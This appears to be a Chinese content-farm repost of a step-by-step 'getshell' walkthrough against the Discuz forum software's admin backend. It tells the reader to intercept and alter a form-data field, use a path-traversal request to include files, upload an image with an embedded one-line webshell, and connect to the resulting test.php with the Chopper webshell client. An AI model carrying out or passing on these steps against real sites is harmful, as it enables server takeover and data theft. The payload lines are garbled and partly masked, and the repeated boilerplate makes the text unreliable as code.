导航：首页 > 网络安全 >

discuz 最新后台getshell的示例分析

发表于：2025-01-21 作者：千家信息网编辑

千家信息网最后更新 2025年01月21日，这篇文章主要介绍了discuz 最新后台getshell的示例分析，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。用户 - 用户栏目 -

千家信息网最后更新 2025年01月21日discuz 最新后台getshell的示例分析

这篇文章主要介绍了discuz 最新后台getshell的示例分析，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。

用户 - 用户栏目 - 栏目分组 - 提交 - 抓包 (我就是在这步出错的，一定要提交，不然抓到的数据包不一样)

`1`	`Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"`

改为

`1`	`Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"`

访问

`1`	`/home.php?mod=spacecp&id=../../robots.txt57`

本地测试dzx2.5抓包把base改为下图中的plugin

测试环境中，上传的一句话***菜刀连接失败，最后改为了base64加密

//加密前的内容');));?>//加密后的内容

合成图片***，上传，

/home.php?mod=spacecp&id=../../图片马地址57

在当前目录下生成了test.php，菜刀连接之...

感谢你能够认真阅读完这篇文章，希望小编分享的"discuz 最新后台getshell的示例分析"这篇文章对大家有帮助，同时也希望大家多多支持，关注行业资讯频道，更多相关知识等着你来学习!

千家信息网